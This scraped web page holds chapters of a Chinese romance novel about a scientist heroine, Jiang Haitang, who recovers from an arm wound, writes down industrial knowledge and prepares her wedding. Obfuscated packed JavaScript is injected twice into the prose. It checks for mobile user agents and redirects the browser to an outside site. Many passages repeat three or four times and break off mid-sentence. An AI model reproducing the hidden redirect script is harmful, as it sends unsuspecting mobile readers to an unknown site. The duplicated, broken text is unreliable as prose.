在安全的环境下,她可以尝试着以“理论推演”“灵感迸发”的方式,将一些核心思路逐步“解锁”,然后将这些理论知识尝试计划融入到实际的研究项目中。 在国内,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017721|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论她推演出任何的成果,都将是属于华国的,没有人能抢走。 也不用担心像是在国外一样,随时被人搜查。 而且,这是属于她一个人的战场,在这片唯有她能踏足的知识海洋里,她要继承先辈们的志向,努力,更加努力,以更强大的力量,守护这个国家。 这一趟去D国,她明显地感受到了,落后就要挨打,如果华国不是现在的华国,而是几十年之后的华国,她和代表团其他人肯定不会遭受这样的委屈。 姜海棠将目光重新放在面前的纸上,有人敲门。 敲门声轻轻响起,是王婶:“海棠,王大夫来了,请您下楼检查身体。” 姜海棠应了一声,站起身,将纸笔收拾妥当,这才跟着王婶下楼。 好在,受伤的是左胳膊,不妨碍她工作。 的机会,立即开始努力看书,一遍遍的推演计算…… 她努力地汲取的先进知识的,这些知识,如此宝贵,却没有办法被更多的人看到,只能通过她这个途径传播出去。 她既然承担了如此责任,就只能比别人付出更多的努力。 翌日一早,起床之后,姜海棠觉得神清气爽。 吃了早饭后,她开始在房间的桌子上梳理那些这段时间一点点沉淀在她的脑海里的内容。 忙碌了一个早上,姜海棠只觉得头晕脑胀,她猛地甩甩头,驱散心中的疲惫。 姜海棠觉得,这两天在家休息也很好。 在安全的环境下,她可以尝试着以“理论推演”“灵感迸发”的方式,将一些核心思路逐步“解锁”,然后将这些理论知识尝试计划融入到实际的研究项目中。 在国内,无论她推演出任何的成果,都将是属于华国的,没有人能抢走。 也不用担心像是在国外一样,随时被人搜查。 而且,这是属于她一个人的战场,在这片唯有她能踏足的知识海洋里,她要继承先辈们的志向,努力,更加努力,以更强大的力量,守护这个国家。 这一趟去D国,她明显地感受到了,落后就要挨打,如果华国不是现在的华国,而是几十年之后的华国,她和代表团其他人肯定不会遭受这样的委屈。 姜海棠将目光重新放在面前的纸上,有人敲门。 敲门声轻轻响起,是王婶:“海棠,王大夫来了,请您下楼检查身体。” 姜海棠应了一声,站起身,将纸笔收拾妥当,这才跟着王婶下楼。 好在,受伤的是左胳膊,不妨碍她工作。 的机会,立即开始努力看书,一遍遍的推演计算…… 她努力地汲取的先进知识的,这些知识,如此宝贵,却没有办法被更多的人看到,只能通过她这个途径传播出去。 她既然承担了如此责任,就只能比别人付出更多的努力。 翌日一早,起床之后,姜海棠觉得神清气爽。 吃了早饭后,她开始在房间的桌子上梳理那些这段时间一点点沉淀在她的脑海里的内容。 忙碌了一个早上,姜海棠只觉得头晕脑胀,她猛地甩甩头,驱散心中的疲惫。 姜海棠觉得,这两天在家休息也很好。 在安全的环境下,她可以尝试着以“理论推演”“灵感迸发”的方式,将一些核心思路逐步“解锁”,然后将这些理论知识尝试计划融入到实际的研究项目中。 在国内,无论她推演出任何的成果,都将是属于华国的,没有人能抢走。 也不用担心像是在国外一样,随时被人搜查。 而且,这是属于她一个人的战场,在这片唯有她能踏足的知识海洋里,她要继承先辈们的志向,努力,更加努力,以更强大的力量,守护这个国家。 这一趟去D国,她明显地感受到了,落后就要挨打,如果华国不是现在的华国,而是几十年之后的华国,她和代表团其他人肯定不会遭受这样的委屈。 姜海棠将目光重新放在面前的纸上,有人敲门。 敲门声轻轻响起,是王婶:“海棠,王大夫来了,请您下楼检查身体。” 姜海棠应了一声,站起身,将纸笔收拾妥当,这才跟着王婶下楼。 好在,受伤的是左胳膊,不妨碍她工作。 的机会,立即开始努力看书,一遍遍的推演计算…… 她努力地汲取的先进知识的,这些知识,如此宝贵,却没有办法被更多的人看到,只能通过她这个途径传播出去。 她既然承担了如此责任,就只能比别人付出更多的努力。 翌日一早,起床之后,姜海棠觉得神清气爽。 吃了早饭后,她开始在房间的桌子上梳理那些这段时间一点点沉淀在她的脑海里的内容。 忙碌了一个早上,姜海棠只觉得头晕脑胀,她猛地甩甩头,驱散心中的疲惫。 姜海棠觉得,这两天在家休息也很好。 在安全的环境下,她可以尝试着以“理论推演”“灵感迸发”的方式,将一些核心思路逐步“解锁”,然后将这些理论知识尝试计划融入到实际的研究项目中。 在国内,无论她推演出任何的成果,都将是属于华国的,没有人能抢走。 也不用担心像是在国外一样,随时被人搜查。 而且,这是属于她一个人的战场,在这片唯有她能踏足的知识海洋里,她要继承先辈们的志向,努力,更加努力,以更强大的力量,守护这个国家。 这一趟去D国,她明显地感受到了,落后就要挨打,如果华国不是现在的华国,而是几十年之后的华国,她和代表团其他人肯定不会遭受这样的委屈。 姜海棠将目光重新放在面前的纸上,有人敲门。 敲门声轻轻响起,是王婶:“海棠,王大夫来了,请您下楼检查身体。” 姜海棠应了一声,站起身,将纸笔收拾妥当,这才跟着王婶下楼。 好在,受伤的是左胳膊,不妨碍她工作。 第249章 我还能亏待她? 王医生已经在楼下等着了。 姜海棠下楼,他仔细检查了姜海棠左臂的伤口,轻轻按压周围组织,又询问了疼痛感和活动情况。 “恢复得不错,比昨天要好上一些,不过,还是要多加注意。王医生点点头,用镊子夹起浸了红药水的棉球小心擦拭。 “王医生,需不需要缝合一下?何婉仪看着姜海棠伤口上的肿胀消得差不多了,问道。 “不用了,看样子能够愈合。到底是年轻人,底子好。伤口炎症消退。就是新肉长的时候有点痒,忍着点,千万别挠。 他一边说着,一边给姜海棠的伤口上了药后,换上干净的纱布重新包扎好。 “谢谢王医生。姜海棠道谢。 “谢什么,你可是为国家才受伤的,照顾你是应当的。 昨天,陆老爷子让他给姜海棠这个还没有过门的孙媳妇看病的时候,他其实挺惊讶的,甚至觉得,陆老爷子这是糊涂了。 可是,等他离开陆家之后,通过一些途径,知道了姜海棠受伤的原因之后,才觉得自己狭隘了。 陆老爷子那样的人,以前都不曾假公济私过,现在怎么可能糊涂? 姜海棠是立了功的人,而且,受伤的原因不对外公布,自然是他帮忙看病最好。 “按时换药吃药,伤口注意别沾水,也别提重物。营养得跟上,家里人要多盯着点,多吃点鸡蛋、瘦肉,有骨头汤最好。 “您放心,亏不了她。何婉仪笑着应下。 “我明天再过来。何婉仪送王医生出门,又是一番道谢。 回到客厅,何婉仪看着姜海棠略显苍白的脸,心疼道:“听见大夫说的了?好好养着。中午想吃什么?妈给你做。 “妈,您别忙了,家里吃什么我就吃什么。姜海棠连忙说。 她知道陆家条件虽好,但在这个年代,物资供应也是有限的,何婉仪总想给她开小灶,一大家子人要是有意见就不好了。 “行,那中午熬点小米粥,蒸个鸡蛋羹,再炒个青菜。何婉仪盘算着,“你大嫂昨天托人弄了点筒子骨,晚上给你炖汤。 姜海棠心里暖暖的,这种被家人细致关怀的感觉,让她紧绷的神经彻底放松下来。 “你别在这里待着了,赶紧回房休息去,你这个伤口得快点好起来,我们才好计划婚事。何婉仪温柔地笑着催促姜海棠。 虽然说,胳膊上的伤口不影响举办婚礼,可到底是新 婚,谁也不想留下遗憾不是。 接下来的几天,姜海棠的生活规律而充实。 白天,趁着家里人都去上班上学,她就在自己住的房间里,伏在书桌前,认认真真地梳理着在夜梦空间中汲取的知识。 她用的是最普通的横格信纸和英雄钢笔。 墨水瓶放在一旁,笔尖划过纸张,发出沙沙的轻响。 阳光透过窗户洒在桌面上,照亮了纸上那些逐渐成型的复杂公式、结构草图和技术要点。 看着写满字的纸张一张张地增加,姜海棠很有成就感。 尤其让她有成就感的是她在夜梦空间的书房里,找到了与冶炼相关的书籍,内容正好与施耐德提供的那份图纸相关,是施耐德那份图纸的延伸和补充。 这些天,每天晚上,姜海棠都遨游在知识的海洋里,但如此一来,她的压力就更大了。 她要从浩瀚星海一般的知识中甄别、提炼出最符合当前华国工业基础、能够最快落地转化的部分才行。 “热轧过程中的温度控制梯度……冷轧机的辊缝精度补偿算法……连铸连轧的衔接工艺……”姜海棠低声念着,笔尖飞快地移动。 她尝试用最简洁、最符合当下工程语言的方式记录下来。 有些过于超前的概念或精密计算,她则用自己才懂的符号或隐喻标记,留待未来时机成熟时再深入研究。 精神高度集中时,时间过得飞快。 往往一抬头,已是日上中竿或夕阳西斜。 她的手腕和脖子有些发酸,受伤的左臂也隐隐提醒着她需要休息。 到了这时候,她便会放下笔,在房间里慢慢踱步,或者走到窗边,看看楼下小院里的花花草草。 现在是夏天,小院子生机盎然,和过年时候完全不一样。 姜海棠在这里难得感受到了岁月静好的安逸。 她觉得,如果能一直如此,未尝不是一件十分幸福的事。 晚餐是全家人聚在一起的温馨时刻。 陆老爷子会询问她伤口的恢复情况,何婉仪则不停地给她夹菜添汤。 这日,袁一楠回来之后,带来了一些关于D国的消息。 根据袁一楠了解到的信息,施耐德近期连续对汉斯及其集团动手,汉斯集团损失巨大,被几大家族瓜分了大部分的产业,而汉斯本人则被关了起来。 如果没有意外的话,汉斯可能在几年之内出不来了。 姜海棠没想到,施耐德竟然是一个如此杀伐果断的人。 不过也是,施耐德家族已经是几代单传了,偏偏汉斯竟然让人对埃尔文动手。 可以说,汉斯这一次是求锤的锤了。 姜国柱这些天也时常过来探望,每次过来的时候,都会给姜海棠带过来一些补品。 姜国柱级别高,享受的待遇不低,他基本上是把自己能弄到的所有好东西都送到了陆家来。 “老姜啊,我们家不会亏待海棠这丫头的,你这样天天送东西,算怎么回事? 陆老爷子有些生气了,觉得老朋友这是看不起自己,担心自己**未来孙媳妇。 “好好的,怎么还急眼了?这都二十年了,以前不知道就算了,现在孙女就在我面前,我还不能相认,多送点儿吃的喝的咋了?怎么你还破防了? 陆老爷子一想,确实是这么个道理,大半辈子的孤家寡人了,到了最后,只知道儿子儿媳牺牲了,连牺牲的原因都不清楚,老姜也着实有些可怜。 好不容易找到了孙女儿,怎么可能不含在嘴里怕化了,捧在手里 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姜海棠点点头:“有一点,不过没关系,爷爷,你要照顾好自己,别总想着我,我会担心您的。 “歇会儿,吃点水果,我现在身体好着呢,医生说,再活上十年八年的没啥问题。 这是实话,医生确实是这么说的。 甚至,医生还很惊讶,怎么姜老爷子的身体忽然之间就好起来了?明明之前都觉 得他生无可恋,没有一点求生的欲望。 这才只有短短的几个月时间,身体就大好了? 姜海棠看着姜老爷子气色不错,笑着说:“爷爷,您要好好的,我这么多年没有人关心疼爱,还想多在您膝下承欢几年呢。” 姜老爷子看着孙女儿面前堆满写满字迹的纸张,心疼又骄傲,这孩子,太要强了,每天督促她休息,可是她到只要回房,就不停地写写画画。 “你这孩子,养伤也不闲着,还说教爷爷不知道保重身体。” 姜海棠拿起一个苹果咬了一口,清甜的汁水让她精神一振。 “爷爷,我这次去D国,感触不少,要是不及时地写下来,我怕时间长了就遗忘了。” 忘肯定是不会忘记的,可是,姜海棠觉得,可用的时间太少了,她必须抓紧每一天的时间才行。 姜老爷子点点头:“你说的也是,那你可不能太辛苦,伤还是要认真养,养好了才好当美丽的新娘子。” “良辰明天下午的火车到京,你明天晚上就带着小桃子去我们家里住着。爷爷这些年一个人,可盼着有孩子到家里来。” 这是两位老爷子之前就商量好的事儿,姜海棠倒是没担心陆家这边不同意。 她点点头:“好,爷爷!小桃子在家的时候,还给您画了好多画儿呢,也不知道这一次会不会带过来。” 想起小桃子,姜海棠的眼底眉梢都是笑意。 有些日子没见小家伙了,也不知道看到自己,小家伙哭不哭。 第250章 陆良辰和小桃子到了 祖孙两个说着话,何婉仪敲门进来了。 她是来和姜海棠说婚礼相关事情的。 “婚礼定在下周一了,你不用操心,有我和你二婶、小姑姑她们在,你等着当个漂亮的新娘子就行了。”何婉仪拉着姜海棠的手说道。 以前她很担心儿子在西北,找不到好姑娘,却没想到,儿子给了她这么大的一个惊喜。 这个儿媳妇,可比在京城里的姑娘还要好上许多。 聪明漂亮还能干,不知道有多少人要羡慕自己了。 尤其是那些因为儿子转业之后去了西北,就在背后阴阳怪气的人,这一次,看他们还有什么说的。 “海棠啊,爷爷给你准备了不少嫁妆,等你和良辰回西北的时候都带上。” “爷爷,不用,就放在家里,我和良辰肯定不会一辈子留在西北,估计过不了几年就回来了。”姜海棠笑着说。 “那也行。婉仪啊,我给海棠准备了一块大红的衣裳料子,你回头给帮忙做一条裙子,结婚的时候穿。” 姜老爷子这段时间,可是为孙女的婚事费了不少的心思,只是,这辈子到底没有费心过这些事,准备得有些不周全。 衣服何婉仪其实已经准备了,可姜老爷子的心意不能拒绝,因此,何婉仪十分痛快地应下。 “正好,书岚找了个不错的裁缝,我把料子一起拿过去,让裁缝做,我这手艺做平时穿的衣服还行,结婚的衣服,可要精细些。” “你大嫂帮你找裁缝做了两套衣服,一条是时下最时兴的‘的确良’料子的连衣裙,还有一套是衬衫搭配裤子。” “妈,不用做这么多,我有衣服穿。” “你有那是你的,难不成我们家还准备不起两套新衣服?给你的,你只管收下就行。”何婉仪握住姜海棠的手说着。 “喜糖、瓜子花生也都准备好了,就在国营饭店里简单办几桌,请些至亲好友。良辰的婚假也批了,能在家待半个月。等你们办完事,再养上几天,再带着小桃子一起回西北就行,时间上完全够。” 何婉仪的声音温柔,将一件件琐碎的事情安排得井井有条,语气里充满了对儿子儿媳婚礼的重视和喜悦。 “谢谢妈,让你们操心了。”姜海棠心里充满了感激。 “傻孩子,操心也是高兴的操心。”何婉仪拍拍她的手,“你呀,这两天就好好休息,养足精神,当个漂漂亮亮的新娘子。那些纸啊笔啊的,先放一放,嗯?” 姜老爷子也说道:“对对对,就应该这样 ,为国家贡献的时候多着呢,结婚可是一辈子只有一次。” 姜海棠笑着点点头:“好,听你们的。” 想到明天陆良辰就要来了,姜海棠脸有些热热的。 她摸摸左臂上包扎的纱布,伤口愈合得不错,已经不那么疼了,想来不会影响…… 意识到自己在想什么,姜海棠的耳朵都红了起来,连何婉仪后面说的话都没有听到。 第二日一早,姜海棠起床后,就有些焦躁不安。 时书岚看在眼里,忍不住笑了起来:“哎呦,今天良辰要回来,看看海棠这魂不守舍的样儿。” 姜海棠被时书岚这么一促狭,忍不住羞红了脸。 “好了好了,别打趣海棠了,知道她面子薄,还故意促狭她。”袁一楠看着姜海棠红得要滴血的面颊,笑着瞪了一眼时书岚说。 “还是二婶疼我。”姜海棠红着脸笑盈盈地说着。 “来,海棠,今天二婶给你梳头,保证让良辰看到你,眼睛都移不开。” 袁一楠看着姜海棠因为胳膊上的伤,扎得稍微有些凌乱的头发笑着拿过了梳子。 姜海棠想拒绝,可最终还是顺着袁一楠的意思,让袁一楠给他梳头发。 袁一楠给姜海棠梳了两条辫子,不是普通的麻花辫,而是更加有心机的鱼骨辫,看着倒是比麻花辫要好看许多。 “我和你婆婆两个人都没生下一个闺女,半辈子也没能完成给闺女梳头的心愿,今儿个我这心愿就算了了。” 袁一楠看着姜海棠,脸上的笑容灿烂无比。 “海棠结婚的时候,二婶也帮海棠梳头呗。”时书岚笑着建议。 这个建议立即得到了袁一楠的赞成。 时间就在几个人你一言我一语中过去了,忽然,他们听到院子外面传来了汽车的喇叭声。 姜海棠手里的蒲扇啪嗒掉在地上,唰的一声站起身朝着院子外面冲出去。 刚到院门口,就看见一个高大的身影抱着个小姑娘从车上下来。 不是陆良辰和小桃子还能是谁。 “良辰!小桃子!”她忍不住喊出声,快步迎上去。 陆良辰穿着洗得发白的军绿色衬衫,晒黑的脸庞上带着风尘仆仆的疲惫,却在看见姜海棠的瞬间亮了起来。 他怀里的小桃子穿着红色碎花连衣裙,扎着两个小揪揪,有点乱糟糟的,显然是陆良辰的手艺。 小家伙看样子像是刚睡醒,正揉着惺忪的睡眼。 但是,在看到姜海棠的一瞬间 ,小桃子忽然清醒了,眼睛亮亮地看着姜海棠,小嘴动了一下,又动了一下。 好一会儿,终于喊出了一声:“妈妈!” “哎!”姜海棠回答着,已经伸出手打算抱孩子。 却没想到,小家伙并没有朝着姜海棠扑过去,而是看着姜海棠胳膊上的纱布说:“爸爸说,妈妈的手受伤了,不能抱小桃子。” 小桃子说话还伸出手轻轻的抚摸着姜海棠的面颊,脸上都是心疼的表情。 “妈妈,你疼不疼?”小桃子声音很轻,像是害怕说重了吓到姜海棠一样。 姜海棠伸手摸摸小桃子的小脸说:“不疼了,看到小桃子就好了。” 小桃子侧身上朝着姜海棠过来,软软的小手搂住她的脖子:“妈妈,我好想你!” “妈妈也很想念小桃子。”姜海棠亲亲女儿的脸蛋。 她抬头对上陆良辰灼热的目光,男人喉结滚动了几下,目光沉沉地看向姜海棠。 好半晌,他才终于哑着嗓子说:“瘦了。” 简单的两个字,却让姜海棠鼻头一酸。 她想拉住陆良辰的胳膊,可又觉得众目睽睽之下,很是不好意思。 陆良辰却在这时候,轻轻握了握她的手,低声问道:“伤怎么样了?” “快好了。”姜海棠红着面颊抿嘴笑着,指尖在他掌心悄悄挠了一下。 陆良辰耳根顿时红了,用力捏了一下姜海棠的手。 何婉仪几个人已经将陆良辰的行李从车上拎下来。 因瞧着一家三口这腻歪的样子,笑着说:“快进屋,外头晒。小桃子,还记得奶奶吗?” “记得!小桃子可想奶奶了,奶奶给我寄过奶糖寄过许多好吃的!” 小桃子响亮的回答,立刻被何婉仪从陆良辰的怀里接过抱在自己怀里心肝肉儿地叫着。 陆良辰的怀抱空出来了,看向姜海棠的目光越发炽热,只恨不得能将姜海棠立即抱在怀里。 袁一楠将最大的一个包塞到陆良辰的手里说:“别晒着了,赶紧进屋。” 陆良辰这才收回心神,一手拎着行李一手拉着姜海棠的手回到屋里。 回到屋里,陆良辰将行李放在墙角,一直都没舍得松开姜海棠的手。 “良辰,你先洗漱一下,等下就吃饭。”时书岚从厨房里出来,招呼陆良辰。 陆良辰点头,拉着姜海棠的手就朝着楼上走去。 时书岚掩嘴笑着,袁一楠瞪了她一眼说道:“可是轮到你看别人了,早两年, 你和良谨可比他俩还腻歪。” 话音落下,袁一楠已经去和何婉仪抢小孙女的关注度去了。 陆良辰一口气将姜海棠拽到楼上的房间里,轻轻地摩挲着她胳膊上的纱布,眉头拧成了疙瘩。 “怎么还包扎着?不是说不严重吗?”他声音压得极低,像是从胸腔里挤出来的。 “真的已经好得差不多了,只是爷爷他们担心,让王医生多包扎几天。”姜海棠忙解释。 陆良辰的呼吸粗重起来,眼眶也湿润了,他指尖发颤,不敢用力抚摸,“王八蛋……” 姜海棠急忙捂住他的嘴:“我没事,真的没事,再说,就这点伤,很快就好了,王医生还给用了祛疤的药,不会留下疤痕。” 陆良辰一把将人搂进怀里,力道大得几乎要将她揉碎。 姜海棠的脸被迫埋在他肩窝,闻到他身上的熟悉气息。 “你骗我说轻伤……”他的语气有点委屈。 姜海棠环住他精瘦的腰,感受到他胸腔剧烈的震动。 有温热的液体滴在她后颈,烫得她心头一颤。 “我这不是好好的吗?”她仰头去寻他的唇,想转移他的注意力,却被躲开。 陆良辰通红的眼睛死死盯着她:“要是刀划到的不是胳膊……” 他几乎不敢想象,万一对方的刀戳中了其他要害部位,可怎么办? 话没说完,他突然低头狠狠吻住她。 姜海棠从他颤抖的唇感觉到了她的害怕,只能紧紧地抱着他,用微薄的力量安抚他的心情。 “以后,不可以再冒险了,不管什么理由都不可以。海棠,你不是一个人,你还有我还有小桃子,还有爷爷!我们都会为你担心!” 你和良谨可比他俩还腻歪。” 话音落下,袁一楠已经去和何婉仪抢小孙女的关注度去了。 陆良辰一口气将姜海棠拽到楼上的房间里,轻轻地摩挲着她胳膊上的纱布,眉头拧成了疙瘩。 “怎么还包扎着?不是说不严重吗?”他声音压得极低,像是从胸腔里挤出来的。 “真的已经好得差不多了,只是爷爷他们担心,让王医生多包扎几天。”姜海棠忙解释。 陆良辰的呼吸粗重起来,眼眶也湿润了,他指尖发颤,不敢用力抚摸,“王八蛋……” 姜海棠急忙捂住他的嘴:“我没事,真的没事,再说,就这点伤,很快就好了,王医生还给用了祛疤的药,不会留下疤痕。” 陆良辰一把将人搂进怀里,力道大得几乎要将她揉碎。 姜海棠的脸被迫埋在他肩窝,闻到他身上的熟悉气息。 “你骗我说轻伤……”他的语气有点委屈。 姜海棠环住他精瘦的腰,感受到他胸腔剧烈的震动。 有温热的液体滴在她后颈,烫得她心头一颤。 “我这不是好好的吗?”她仰头去寻他的唇,想转移他的注意力,却被躲开。 陆良辰通红的眼睛死死盯着她:“要是刀划到的不是胳膊……” 他几乎不敢想象,万一对方的刀戳中了其他要害部位,可怎么办? 话没说完,他突然低头狠狠吻住她。 姜海棠从他颤抖的唇感觉到了她的害怕,只能紧紧地抱着他,用微薄的力量安抚他的心情。 “以后,不可以再冒险了,不管什么理由都不可以。海棠,你不是一个人,你还有我还有小桃子,还有爷爷!我们都会为你担心!” 你和良谨可比他俩还腻歪。” 话音落下,袁一楠已经去和何婉仪抢小孙女的关注度去了。 陆良辰一口气将姜海棠拽到楼上的房间里,轻轻地摩挲着她胳膊上的纱布,眉头拧成了疙瘩。 “怎么还包扎着?不是说不严重吗?”他声音压得极低,像是从胸腔里挤出来的。 “真的已经好得差不多了,只是爷爷他们担心,让王医生多包扎几天。”姜海棠忙解释。 陆良辰的呼吸粗重起来,眼眶也湿润了,他指尖发颤,不敢用力抚摸,“王八蛋……” 姜海棠急忙捂住他的嘴:“我没事,真的没事,再说,就这点伤,很快就好了,王医生还给用了祛疤的药,不会留下疤痕。” 陆良辰一把将人搂进怀里,力道大得几乎要将她揉碎。 姜海棠的脸被迫埋在他肩窝,闻到他身上的熟悉气息。 “你骗我说轻伤…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你骗我说轻伤……”他的语气有点委屈。 姜海棠环住他精瘦的腰,感受到他胸腔剧烈的震动。 有温热的液体滴在她后颈,烫得她心头一颤。 “我这不是好好的吗?”她仰头去寻他的唇,想转移他的注意力,却被躲开。 陆良辰通红的眼睛死死盯着她:“要是刀划到的不是胳膊……” 他几乎不敢想象,万一对方的刀戳中了其他要害部位,可怎么办? 话没说完,他突然低头狠狠吻住她。 姜海棠从他颤抖的唇感觉到了她的害怕,只能紧紧地抱着他,用微薄的力量安抚他的心情。 “以后,不可以再冒险了,不管什么理由都不可以。海棠,你不是一个人,你还有我还有小桃子,还有爷爷!我们都会为你担心!” 你和良谨可比他俩还腻歪。” 话音落下,袁一楠已经去和何婉仪抢小孙女的关注度去了。 陆良辰一口气将姜海棠拽到楼上的房间里,轻轻地摩挲着她胳膊上的纱布,眉头拧成了疙瘩。 “怎么还包扎着?不是说不严重吗?”他声音压得极低,像是从胸腔里挤出来的。 “真的已经好得差不多了,只是爷爷他们担心,让王医生多包扎几天。”姜海棠忙解释。 陆良辰的呼吸粗重起来,眼眶也湿润了,他指尖发颤,不敢用力抚摸,“王八蛋……” 姜海棠急忙捂住他的嘴:“我没事,真的没事,再说,就这点伤,很快就好了,王医生还给用了祛疤的药,不会留下疤痕。” 陆良辰一把将人搂进怀里,力道大得几乎要将她揉碎。 姜海棠的脸被迫埋在他肩窝,闻到他身上的熟悉气息。 “你骗我说轻伤……”他的语气有点委屈。 姜海棠环住他精瘦的腰,感受到他胸腔剧烈的震动。 有温热的液体滴在她后颈,烫得她心头一颤。 “我这不是好好的吗?”她仰头去寻他的唇,想转移他的注意力,却被躲开。 陆良辰通红的眼睛死死盯着她:“要是刀划到的不是胳膊……” 他几乎不敢想象,万一对方的刀戳中了其他要害部位,可怎么办? 话没说完,他突然低头狠狠吻住她。 姜海棠从他颤抖的唇感觉到了她的害怕,只能紧紧地抱着他,用微薄的力量安抚他的心情。 “以后,不可以再冒险了,不管什么理由都不可以。海棠,你不是一个人,你还有我还有小桃子,还有爷爷!我们都会为你担心!” 你和良谨可比他俩还腻歪。” 话音落下,袁一楠已经去和何婉仪抢小孙女的关注度去了。 陆良辰一口气将姜海棠拽到楼上的房间里,轻轻地摩挲着她胳膊上的纱布,眉头拧成了疙瘩。 “怎么还包扎着?不是说不严重吗?”他声音压得极低,像是从胸腔里挤出来的。 “真的已经好得差不多了,只是爷爷他们担心,让王医生多包扎几天。”姜海棠忙解释。 陆良辰的呼吸粗重起来,眼眶也湿润了,他指尖发颤,不敢用力抚摸,“王八蛋……” 姜海棠急忙捂住他的嘴:“我没事,真的没事,再说,就这点伤,很快就好了,王医生还给用了祛疤的药,不会留下疤痕。” 陆良辰一把将人搂进怀里,力道大得几乎要将她揉碎。 姜海棠的脸被迫埋在他肩窝,闻到他身上的熟悉气息。 “你骗我说轻伤……”他的语气有点委屈。 姜海棠环住他精瘦的腰,感受到他胸腔剧烈的震动。 有温热的液体滴在她后颈,烫得她心头一颤。 “我这不是好好的吗?”她仰头去寻他的唇,想转移他的注意力,却被躲开。 陆良辰通红的眼睛死死盯着她:“要是刀划到的不是胳膊……” 他几乎不敢想象,万一对方的刀戳中了其他要害部位,可怎么办? 话没说完,他突然低头狠狠吻住她。 姜海棠从他颤抖的唇感觉到了她的害怕,只能紧紧地抱着他,用微薄的力量安抚他的心情。 “以后,不可以再冒险了,不管什么理由都不可以。海棠,你不是一个人,你还有我还有小桃子,还有爷爷!我们都会为你担心!” 第251章 爷爷的爱 不等姜海棠点头陆良辰又低头吻上姜海棠的唇。 他的吻带着恐惧和后怕也带着深入骨髓的思念。 他紧紧抱着姜海棠仿佛要将她嵌入自己的身体里。 姜海棠温柔地回应着安抚着他紧绷的神经。 她能清晰地感受到他胸膛剧烈的起伏和微微的颤抖。 良久陆良辰才稍稍退开额头抵着她的额头呼吸依旧有些不稳但眼神里的惊涛骇浪稍稍平息被浓得化不开的深情取代。 “对不起”他声音沙哑“吓到你了。” “没有”姜海棠抬手轻轻擦过他微湿的眼角“我知道你担心。我保证以后不会了为了你和小桃子我也会好好的。” 陆良辰深吸一口气再次将她拥入怀中这次力道温柔了许多。 “记住你的话不管什么时候都要牢牢记得!”他闷闷地说。 “向主席保证!”姜海棠顽皮地举起手说。 陆良辰用拇指摩挲了一下她柔嫩的唇瓣声音沙哑:“调皮等结婚以后再收拾你。” 姜海棠红着脸整理被他揉皱的衣襟心里埋怨这个男人是越来越不装了这都是什么虎狼之词。 这时候房门突然被推开。 小桃子探头进来:“爸爸妈妈太爷爷让我喊你们吃饭……” 两人相视一笑整理了一下有些凌乱的头发和衣服一人牵着小桃子的一只手走下楼。 饭桌上气氛热烈。 小桃子坐在何婉仪和袁一楠中间成了绝对的主角小嘴甜得像抹了蜜。 “奶奶”“二奶奶”“小姑奶奶”“大伯母”叫得欢快把长辈们哄得心花怒放。 陆良辰虽然话不多但眼神始终没离开过姜海棠给她夹菜 那份无声的体贴和专注让在座的长辈们看在眼里喜在心头。 尤其是姜国柱看着陆良辰如此体贴更是欢喜的不行。 好啊好啊孙女儿前半生虽然命苦可是以后都会好好的他也就能放心了。 饭后放了学的几个哥哥围着小桃子献宝似的从书包里掏出玻璃弹珠、铁皮青蛙等小玩意儿给小桃子玩。 陆思敏家的两个孩子年龄大一点没好意思和几个小毛孩子抢小桃子但眼睛却一直巴巴儿地盯着小桃子。 小桃子好奇地摸着哥哥们给她的小玩具想到了什么忽然哒哒哒地跑过去找行李袋。 等她 跑回来的时候,手里拿着一叠皱巴巴的纸:“哥哥,这是我给你们画的画儿,这是我们家院子里的花,这是路上看到的小鸟,这是我吃的好吃的…… 小家伙一板一眼地给哥哥们介绍着手里的画,虽然不太能看得出来,这些画上面画的究竟是什么,但陆卫国几个还是饶有兴趣地配合妹妹,甚至不断地夸奖妹妹。 几个大人看着兄弟几个这幅看到妹妹忽然就不值钱的样子,都忍不住摇头。 “这几个臭小子,平日里怎么没见这样。时书岚笑着看着几个孩子的互动。 “谁让咱们家缺少小闺女,早年你小姑姑出嫁之前,那也是咱们家里的宝贝疙瘩。何婉仪看着陆思敏笑着说。 陆思敏哈哈笑着,显然,对于自己曾经是陆家的宝贝疙瘩这事儿,也是不否认的。 陆老爷子看着重孙子重孙女玩得开心,竟然和姜国柱一起凑过去欣赏曾孙女的“大作去了。 小桃子正好拿出来一张纸,上面一个扁扁的太阳歪歪扭扭地发着几道光,地上站着一个个火柴人,看着总有十来个火柴人。 “小桃子,你画的这都是什么?陆老爷子饶有兴趣地问。 “这是太爷爷,这是姜太爷爷,这是爷爷,这是奶奶……小家伙一板一眼地介绍着。 她的画没有任何艺术气息,但是,却带着浓浓的温情,小家伙竟然将家里所有认识的人都画在了一张画里面。 “这是太爷爷的五星!“小桃子认真地指着其中一个人脑门上的一团线条解释,逗得满桌大笑。 “小桃子真厉害!陆老爷子对着小桃子比了一个大拇指。 小桃子开心的不得了:“太爷爷,等以后,我给您画多多的画,画多多的好看的画! 到了后来,陆思敏家的两个半大小子也终于没人忍住,找小桃子玩去了。 姜海棠悄悄观察陆良辰,男人正低头扒饭,但嘴角的笑意藏不住。 “慢点吃。 陆良辰听到姜海棠这么说,瞬间委屈上了:“我每天都有认真吃饭,可食堂的饭菜哪有你做的好吃,不要说我,就是小桃子都不喜欢吃! 何婉仪听到了,立即瞪了陆良辰一眼:“你这臭小子,有饭吃还挑三拣四的。我可告诉你,就是结婚了,家里的家务活也要两个人共同承担,可别总想着让海棠伺候你! 陆良辰忽然被母亲说教,还有一瞬间没明白。 他 好像也没说啥怎么就被教育了? “妈您又不是不知道我不会做饭……” 何婉仪这才想起来自己这个儿子好吃的肉都能做到让人难以下咽要是真的让他帮忙做饭还真不知道会做出个什么来…… 